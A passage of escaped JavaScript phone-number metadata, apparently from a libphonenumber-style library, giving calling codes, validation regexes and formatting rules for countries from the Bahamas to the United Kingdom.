$2-$3\",[\"[16][1-9]|[2-57-9]\"],\"($1)\"]],\"0\",0,\"(?:0|90)(?:(1[245]|2[1-35]|31|4[13]|[56]5|99)(\\\\d{10,11}))?\",\"$2\"],BS:[\"1\",\"011\",\"(?:242|[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,\"([3-8]\\\\d{6})$|1\",\"242$1\",0,\"242\"],BT:[\"975\",\"00\",\"[17]\\\\d{7}|[2-8]\\\\d{6}\",[7,8],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-68]|7[246]\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"1[67]|7\"]]]],BW:[\"267\",\"00\",\"(?:0800|(?:[37]|800)\\\\d)\\\\d{6}|(?:[2-6]\\\\d|90)\\\\d{5}\",[7,8,10],[[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"90\"]],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[24-6]|3[15-9]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[37]\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"0\"]],[\"(\\\\d{3})(\\\\d{4})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]]]],BY:[\"375\",\"810\",\"(?:[12]\\\\d|33|44|902)\\\\d{7}|8(?:0[0-79]\\\\d{5,7}|[1-7]\\\\d{9})|8(?:1[0-489]|[5-79]\\\\d)\\\\d{7}|8[1-79]\\\\d{6,7}|8[0-79]\\\\d{5}|8\\\\d{5}\",[6,7,8,9,10,11],[[\"(\\\\d{3})(\\\\d{3})\",\"$1 $2\",[\"800\"],\"8 $1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2,4})\",\"$1 $2 $3\",[\"800\"],\"8 $1\"],[\"(\\\\d{4})(\\\\d{2})(\\\\d{3})\",\"$1 $2-$3\",[\"1(?:5[169]|6[3-5]|7[179])|2(?:1[35]|2[34]|3[3-5])\",\"1(?:5[169]|6(?:3[1-3]|4|5[125])|7(?:1[3-9]|7[0-24-6]|9[2-7]))|2(?:1[35]|2[34]|3[3-5])\"],\"8 0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"1(?:[56]|7[467])|2[1-3]\"],\"8 0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2-$3-$4\",[\"[1-4]\"],\"8 0$1\"],[\"(\\\\d{3})(\\\\d{3,4})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"],\"8 $1\"]],\"8\",0,\"0|80?\",0,0,0,0,\"8~10\"],BZ:[\"501\",\"00\",\"(?:0800\\\\d|[2-8])\\\\d{6}\",[7,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1-$2\",[\"[2-8]\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{4})(\\\\d{3})\",\"$1-$2-$3-$4\",[\"0\"]]]],CA:[\"1\",\"011\",\"(?:[2-8]\\\\d|90)\\\\d{8}|3\\\\d{6}\",[7,10],0,\"1\",0,0,0,0,0,[[\"(?:2(?:04|[23]6|[48]9|50|63)|3(?:06|43|54|6[578]|82)|4(?:03|1[68]|[26]8|3[178]|50|74)|5(?:06|1[49]|48|79|8[147])|6(?:04|[18]3|39|47|72)|7(?:0[59]|42|53|78|8[02])|8(?:[06]7|19|25|73)|90[25])[2-9]\\\\d{6}\",[10]],[\"\",[10]],[\"8(?:00|33|44|55|66|77|88)[2-9]\\\\d{6}\",[10]],[\"900[2-9]\\\\d{6}\",[10]],[\"52(?:3(?:[2-46-9][02-9]\\\\d|5(?:[02-46-9]\\\\d|5[0-46-9]))|4(?:[2-478][02-9]\\\\d|5(?:[034]\\\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\\\d)|9(?:[05-9]\\\\d|2[0-5]|49)))\\\\d{4}|52[34][2-9]1[02-9]\\\\d{4}|(?:5(?:00|2[125-9]|33|44|66|77|88)|622)[2-9]\\\\d{6}\",[10]],0,[\"310\\\\d{4}\",[7]],0,[\"600[2-9]\\\\d{6}\",[10]]]],CC:[\"61\",\"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011\",\"1(?:[0-79]\\\\d{8}(?:\\\\d{2})?|8[0-24-9]\\\\d{7})|[148]\\\\d{8}|1\\\\d{5,7}\",[6,7,8,9,10,12],0,\"0\",0,\"([59]\\\\d{7})$|0\",\"8$1\",0,0,[[\"8(?:51(?:0(?:02|31|60|89)|1(?:18|76)|223)|91(?:0(?:1[0-2]|29)|1(?:[28]2|50|79)|2(?:10|64)|3(?:[06]8|22)|4[29]8|62\\\\d|70[23]|959))\\\\d{3}\",[9]],[\"4(?:(?:79|94)[01]|83[0-389])\\\\d{5}|4(?:[0-3]\\\\d|4[047-9]|5[0-25-9]|6[0-26-9]|7[02-8]|8[0-24-9]|9[0-37-9])\\\\d{6}\",[9]],[\"180(?:0\\\\d{3}|2)\\\\d{3}\",[7,10]],[\"190[0-26]\\\\d{6}\",[10]],0,0,0,0,[\"14(?:5(?:1[0458]|[23][458])|71\\\\d)\\\\d{4}\",[9]],[\"13(?:00\\\\d{6}(?:\\\\d{2})?|45[0-4]\\\\d{3})|13\\\\d{4}\",[6,8,10,12]]],\"0011\"],CD:[\"243\",\"00\",\"[189]\\\\d{8}|[1-68]\\\\d{6}\",[7,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3\",[\"88\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{5})\",\"$1 $2\",[\"[1-6]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"]],\"0\"],CF:[\"236\",\"00\",\"(?:[27]\\\\d{3}|8776)\\\\d{4}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[278]\"]]]],CG:[\"242\",\"00\",\"222\\\\d{6}|(?:0\\\\d|80)\\\\d{7}\",[9],[[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"8\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[02]\"]]]],CH:[\"41\",\"00\",\"8\\\\d{11}|[2-9]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8[047]|90\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-79]|81\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4 $5\",[\"8\"],\"0$1\"]],\"0\"],CI:[\"225\",\"00\",\"[02]\\\\d{9}\",[10],[[\"(\\\\d{2})(\\\\d{2})(\\\\d)(\\\\d{5})\",\"$1 $2 $3 $4\",[\"2\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3 $4\",[\"0\"]]]],CK:[\"682\",\"00\",\"[2-578]\\\\d{4}\",[5],[[\"(\\\\d{2})(\\\\d{3})\",\"$1 $2\",[\"[2-578]\"]]]],CL:[\"56\",\"(?:0|1(?:1[0-69]|2[02-5]|5[13-58]|69|7[0167]|8[018]))0\",\"12300\\\\d{6}|6\\\\d{9,10}|[2-9]\\\\d{8}\",[9,10,11],[[\"(\\\\d{5})(\\\\d{4})\",\"$1 $2\",[\"219\",\"2196\"],\"($1)\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"44\"]],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"2[1-36]\"],\"($1)\"],[\"(\\\\d)(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"9[2-9]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"3[2-5]|[47]|5[1-3578]|6[13-57]|8(?:0[1-9]|[1-9])\"],\"($1)\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"60|8\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"1\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{2})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"60\"]]]],CM:[\"237\",\"00\",\"[26]\\\\d{8}|88\\\\d{6,7}\",[8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"88\"]],[\"(\\\\d)(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4 $5\",[\"[26]|88\"]]]],CN:[\"86\",\"00|1(?:[12]\\\\d|79)\\\\d\\\\d00\",\"1[127]\\\\d{8,9}|2\\\\d{9}(?:\\\\d{2})?|[12]\\\\d{6,7}|86\\\\d{6}|(?:1[03-689]\\\\d|6)\\\\d{7,9}|(?:[3-579]\\\\d|8[0-57-9])\\\\d{6,9}\",[7,8,9,10,11,12],[[\"(\\\\d{2})(\\\\d{5,6})\",\"$1 $2\",[\"(?:10|2[0-57-9])[19]\",\"(?:10|2[0-57-9])(?:10|9[56])\",\"10(?:10|9[56])|2[0-57-9](?:100|9[56])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5,6})\",\"$1 $2\",[\"3(?:[157]|35|49|9[1-68])|4(?:[17]|2[179]|6[47-9]|8[23])|5(?:[1357]|2[37]|4[36]|6[1-46]|80)|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]|4[13]|5[1-5])|(?:4[35]|59|85)[1-9]\",\"(?:3(?:[157]\\\\d|35|49|9[1-68])|4(?:[17]\\\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\\\d|5[1-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\\\d|4[13]|5[1-5]))[19]\",\"85[23](?:10|95)|(?:3(?:[157]\\\\d|35|49|9[1-68])|4(?:[17]\\\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\\\d|4[13]|5[1-5]))(?:10|9[56])\",\"85[23](?:100|95)|(?:3(?:[157]\\\\d|35|49|9[1-68])|4(?:[17]\\\\d|2[179]|[35][1-9]|6[47-9]|8[23])|5(?:[1357]\\\\d|2[37]|4[36]|6[1-46]|80|9[1-9])|6(?:3[1-5]|6[0238]|9[12])|7(?:01|[1579]\\\\d|2[248]|3[014-9]|4[3-6]|6[023689])|8(?:1[236-8]|2[5-7]|[37]\\\\d|5[14-9]|8[36-8]|9[1-8])|9(?:0[1-3689]|1[1-79]|[379]\\\\d|4[13]|5[1-5]))(?:100|9[56])\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"(?:4|80)0\"]],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"10|2(?:[02-57-9]|1[1-9])\",\"10|2(?:[02-57-9]|1[1-9])\",\"10[0-79]|2(?:[02-57-9]|1[1-79])|(?:10|21)8(?:0[1-9]|[1-9])\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"3(?:[3-59]|7[02-68])|4(?:[26-8]|3[3-9]|5[2-9])|5(?:3[03-9]|[468]|7[028]|9[2-46-9])|6|7(?:[0-247]|3[04-9]|5[0-4689]|6[2368])|8(?:[1-358]|9[1-7])|9(?:[013479]|5[1-5])|(?:[34]1|55|79|87)[02-9]\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{7,8})\",\"$1 $2\",[\"9\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"80\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[3-578]\"],\"0$1\",1],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"1[3-9]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3 $4\",[\"[12]\"],\"0$1\",1]],\"0\",0,\"(1(?:[12]\\\\d|79)\\\\d\\\\d)|0\",0,0,0,0,\"00\"],CO:[\"57\",\"00(?:4(?:[14]4|56)|[579])\",\"(?:60\\\\d\\\\d|9101)\\\\d{6}|(?:1\\\\d|3)\\\\d{9}\",[10,11],[[\"(\\\\d{3})(\\\\d{7})\",\"$1 $2\",[\"6\"],\"($1)\"],[\"(\\\\d{3})(\\\\d{7})\",\"$1 $2\",[\"3[0-357]|91\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{7})\",\"$1-$2-$3\",[\"1\"],\"0$1\",0,\"$1 $2 $3\"]],\"0\",0,\"0([3579]|4(?:[14]4|56))?\"],CR:[\"506\",\"00\",\"(?:8\\\\d|90)\\\\d{8}|(?:[24-8]\\\\d{3}|3005)\\\\d{4}\",[8,10],[[\"(\\\\d{4})(\\\\d{4})\",\"$1 $2\",[\"[2-7]|8[3-9]\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1-$2-$3\",[\"[89]\"]]],0,0,\"(19(?:0[0-2468]|1[09]|20|66|77|99))\"],CU:[\"53\",\"119\",\"[27]\\\\d{6,7}|[34]\\\\d{5,7}|63\\\\d{6}|(?:5|8\\\\d\\\\d)\\\\d{7}\",[6,7,8,10],[[\"(\\\\d{2})(\\\\d{4,6})\",\"$1 $2\",[\"2[1-4]|[34]\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{6,7})\",\"$1 $2\",[\"7\"],\"(0$1)\"],[\"(\\\\d)(\\\\d{7})\",\"$1 $2\",[\"[56]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{7})\",\"$1 $2\",[\"8\"],\"0$1\"]],\"0\"],CV:[\"238\",\"0\",\"(?:[2-59]\\\\d\\\\d|800)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"[2-589]\"]]]],CW:[\"599\",\"00\",\"(?:[34]1|60|(?:7|9\\\\d)\\\\d)\\\\d{5}\",[7,8],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[3467]\"]],[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"9[4-8]\"]]],0,0,0,0,0,\"[69]\"],CX:[\"61\",\"001[14-689]|14(?:1[14]|34|4[17]|[56]6|7[47]|88)0011\",\"1(?:[0-79]\\\\d{8}(?:\\\\d{2})?|8[0-24-9]\\\\d{7})|[148]\\\\d{8}|1\\\\d{5,7}\",[6,7,8,9,10,12],0,\"0\",0,\"([59]\\\\d{7})$|0\",\"8$1\",0,0,[[\"8(?:51(?:0(?:01|30|59|88)|1(?:17|46|75)|2(?:22|35))|91(?:00[6-9]|1(?:[28]1|49|78)|2(?:09|63)|3(?:12|26|75)|4(?:56|97)|64\\\\d|7(?:0[01]|1[0-2])|958))\\\\d{3}\",[9]],[\"4(?:(?:79|94)[01]|83[0-389])\\\\d{5}|4(?:[0-3]\\\\d|4[047-9]|5[0-25-9]|6[0-26-9]|7[02-8]|8[0-24-9]|9[0-37-9])\\\\d{6}\",[9]],[\"180(?:0\\\\d{3}|2)\\\\d{3}\",[7,10]],[\"190[0-26]\\\\d{6}\",[10]],0,0,0,0,[\"14(?:5(?:1[0458]|[23][458])|71\\\\d)\\\\d{4}\",[9]],[\"13(?:00\\\\d{6}(?:\\\\d{2})?|45[0-4]\\\\d{3})|13\\\\d{4}\",[6,8,10,12]]],\"0011\"],CY:[\"357\",\"00\",\"(?:[279]\\\\d|[58]0)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{6})\",\"$1 $2\",[\"[257-9]\"]]]],CZ:[\"420\",\"00\",\"(?:[2-578]\\\\d|60)\\\\d{7}|9\\\\d{8,11}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[2-8]|9[015-7]\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"96\"]],[\"(\\\\d{2})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"9\"]],[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3 $4\",[\"9\"]]]],DE:[\"49\",\"00\",\"[2579]\\\\d{5,14}|49(?:[34]0|69|8\\\\d)\\\\d\\\\d?|49(?:37|49|60|7[089]|9\\\\d)\\\\d{1,3}|49(?:2[024-9]|3[2-689]|7[1-7])\\\\d{1,8}|(?:1|[368]\\\\d|4[0-8])\\\\d{3,13}|49(?:[015]\\\\d|2[13]|31|[46][1-8])\\\\d{1,9}\",[4,5,6,7,8,9,10,11,12,13,14,15],[[\"(\\\\d{2})(\\\\d{3,13})\",\"$1 $2\",[\"3[02]|40|[68]9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3,12})\",\"$1 $2\",[\"2(?:0[1-389]|1[124]|2[18]|3[14])|3(?:[35-9][15]|4[015])|906|(?:2[4-9]|4[2-9]|[579][1-9]|[68][1-8])1\",\"2(?:0[1-389]|12[0-8])|3(?:[35-9][15]|4[015])|906|2(?:[13][14]|2[18])|(?:2[4-9]|4[2-9]|[579][1-9]|[68][1-8])1\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{2,11})\",\"$1 $2\",[\"[24-6]|3(?:[3569][02-46-9]|4[2-4679]|7[2-467]|8[2-46-8])|70[2-8]|8(?:0[2-9]|[1-8])|90[7-9]|[79][1-9]\",\"[24-6]|3(?:3(?:0[1-467]|2[127-9]|3[124578]|7[1257-9]|8[1256]|9[145])|4(?:2[135]|4[13578]|9[1346])|5(?:0[14]|2[1-3589]|6[1-4]|7[13468]|8[13568])|6(?:2[1-489]|3[124-6]|6[13]|7[12579]|8[1-356]|9[135])|7(?:2[1-7]|4[145]|6[1-5]|7[1-4])|8(?:21|3[1468]|6|7[1467]|8[136])|9(?:0[12479]|2[1358]|4[134679]|6[1-9]|7[136]|8[147]|9[1468]))|70[2-8]|8(?:0[2-9]|[1-8])|90[7-9]|[79][1-9]|3[68]4[1347]|3(?:47|60)[1356]|3(?:3[46]|46|5[49])[1246]|3[4579]3[1357]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"138\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{2,10})\",\"$1 $2\",[\"3\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{5,11})\",\"$1 $2\",[\"181\"],\"0$1\"],[\"(\\\\d{3})(\\\\d)(\\\\d{4,10})\",\"$1 $2 $3\",[\"1(?:3|80)|9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{7,8})\",\"$1 $2\",[\"1[67]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{7,12})\",\"$1 $2\",[\"8\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{6})\",\"$1 $2\",[\"185\",\"1850\",\"18500\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{7})\",\"$1 $2\",[\"18[68]\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{6})\",\"$1 $2\",[\"15[0568]\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{7})\",\"$1 $2\",[\"15[1279]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{8})\",\"$1 $2\",[\"18\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{7,8})\",\"$1 $2 $3\",[\"1(?:6[023]|7)\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{2})(\\\\d{7})\",\"$1 $2 $3\",[\"15[279]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{8})\",\"$1 $2 $3\",[\"15\"],\"0$1\"]],\"0\"],DJ:[\"253\",\"00\",\"(?:2\\\\d|77)\\\\d{6}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[27]\"]]]],DK:[\"45\",\"00\",\"[2-9]\\\\d{7}\",[8],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-9]\"]]]],DM:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|767|900)\\\\d{7}\",[10],0,\"1\",0,\"([2-7]\\\\d{6})$|1\",\"767$1\",0,\"767\"],DO:[\"1\",\"011\",\"(?:[58]\\\\d\\\\d|900)\\\\d{7}\",[10],0,\"1\",0,0,0,0,\"8001|8[024]9\"],DZ:[\"213\",\"00\",\"(?:[1-4]|[5-79]\\\\d|80)\\\\d{7}\",[8,9],[[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[1-4]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[5-8]\"],\"0$1\"]],\"0\"],EC:[\"593\",\"00\",\"1\\\\d{9,10}|(?:[2-7]|9\\\\d)\\\\d{7}\",[8,9,10,11],[[\"(\\\\d)(\\\\d{3})(\\\\d{4})\",\"$1 $2-$3\",[\"[2-7]\"],\"(0$1)\",0,\"$1-$2-$3\"],[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"9\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3,4})\",\"$1 $2 $3\",[\"1\"]]],\"0\"],EE:[\"372\",\"00\",\"8\\\\d{9}|[4578]\\\\d{7}|(?:[3-8]\\\\d|90)\\\\d{5}\",[7,8,10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[369]|4[3-8]|5(?:[0-2]|5[0-478]|6[45])|7[1-9]|88\",\"[369]|4[3-8]|5(?:[02]|1(?:[0-8]|95)|5[0-478]|6(?:4[0-4]|5[1-589]))|7[1-9]|88\"]],[\"(\\\\d{4})(\\\\d{3,4})\",\"$1 $2\",[\"[45]|8(?:00|[1-49])\",\"[45]|8(?:00[1-9]|[1-49])\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{4})\",\"$1 $2 $3\",[\"7\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"8\"]]]],EG:[\"20\",\"00\",\"[189]\\\\d{8,9}|[24-6]\\\\d{8}|[135]\\\\d{7}\",[8,9,10],[[\"(\\\\d)(\\\\d{7,8})\",\"$1 $2\",[\"[23]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{6,7})\",\"$1 $2\",[\"1[35]|[4-6]|8[2468]|9[235-7]\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[89]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{8})\",\"$1 $2\",[\"1\"],\"0$1\"]],\"0\"],EH:[\"212\",\"00\",\"[5-8]\\\\d{8}\",[9],0,\"0\",0,0,0,0,\"528[89]\"],ER:[\"291\",\"00\",\"[178]\\\\d{6}\",[7],[[\"(\\\\d)(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[178]\"],\"0$1\"]],\"0\"],ES:[\"34\",\"00\",\"[5-9]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{3})(\\\\d{3})\",\"$1 $2 $3\",[\"[89]00\"]],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[5-9]\"]]]],ET:[\"251\",\"00\",\"(?:11|[2-579]\\\\d)\\\\d{7}\",[9],[[\"(\\\\d{2})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"[1-579]\"],\"0$1\"]],\"0\"],FI:[\"358\",\"00|99(?:[01469]|5(?:[14]1|3[23]|5[59]|77|88|9[09]))\",\"[1-35689]\\\\d{4}|7\\\\d{10,11}|(?:[124-7]\\\\d|3[0-46-9])\\\\d{8}|[1-9]\\\\d{5,8}\",[5,6,7,8,9,10,11,12],[[\"(\\\\d)(\\\\d{4,9})\",\"$1 $2\",[\"[2568][1-8]|3(?:0[1-9]|[1-9])|9\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3,7})\",\"$1 $2\",[\"[12]00|[368]|70[07-9]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4,8})\",\"$1 $2\",[\"[1245]|7[135]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{6,10})\",\"$1 $2\",[\"7\"],\"0$1\"]],\"0\",0,0,0,0,\"1[03-79]|[2-9]\",0,\"00\"],FJ:[\"679\",\"0(?:0|52)\",\"45\\\\d{5}|(?:0800\\\\d|[235-9])\\\\d{6}\",[7,11],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[235-9]|45\"]],[\"(\\\\d{4})(\\\\d{3})(\\\\d{4})\",\"$1 $2 $3\",[\"0\"]]],0,0,0,0,0,0,0,\"00\"],FK:[\"500\",\"00\",\"[2-7]\\\\d{4}\",[5]],FM:[\"691\",\"00\",\"(?:[39]\\\\d\\\\d|820)\\\\d{4}\",[7],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"[389]\"]]]],FO:[\"298\",\"00\",\"[2-9]\\\\d{5}\",[6],[[\"(\\\\d{6})\",\"$1\",[\"[2-9]\"]]],0,0,\"(10(?:01|[12]0|88))\"],FR:[\"33\",\"00\",\"[1-9]\\\\d{8}\",[9],[[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"8\"],\"0 $1\"],[\"(\\\\d)(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4 $5\",[\"[1-79]\"],\"0$1\"]],\"0\"],GA:[\"241\",\"00\",\"(?:[067]\\\\d|11)\\\\d{6}|[2-7]\\\\d{6}\",[7,8],[[\"(\\\\d)(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"[2-7]\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"0\"]],[\"(\\\\d{2})(\\\\d{2})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3 $4\",[\"11|[67]\"],\"0$1\"]],0,0,\"0(11\\\\d{6}|60\\\\d{6}|61\\\\d{6}|6[256]\\\\d{6}|7[467]\\\\d{6})\",\"$1\"],GB:[\"44\",\"00\",\"[1-357-9]\\\\d{9}|[18]\\\\d{8}|8\\\\d{6}\",[7,9,10],[[\"(\\\\d{3})(\\\\d{4})\",\"$1 $2\",[\"800\",\"8001\",\"80011\",\"800111\",\"8001111\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{2})(\\\\d{2})\",\"$1 $2 $3\",[\"845\",\"8454\",\"84546\",\"845464\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{6})\",\"$1 $2\",[\"800\"],\"0$1\"],[\"(\\\\d{5})(\\\\d{4,5})\",\"$1 $2\",[\"1(?:38|5[23]|69|76|94)\",\"1(?:(?:38|69)7|5(?:24|39)|768|946)\",\"1(?:3873|5(?:242|39[4-6])|(?:697|768)[347]|9467)\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{5,6})\",\"$1 $2\",[\"1(?:[2-69][02-9]|[78])\"],\"0$1\"],[\"(\\\\d{2})(\\\\d{4})(\\\\d{4})\",\"$1 $2 $3\",[\"[25]|7(?:0|6[02-9])\",\"[25]|7(?:0|6(?:[03-9]|2[356]))\"],\"0$1\"],[\"(\\\\d{4})(\\\\d{6})\",\"$1 $2\",[\"7\"],\"0$1\"],[\"(\\\\d{3})(\\\\d{3})(\\\\d{4})\",\"$1 $2 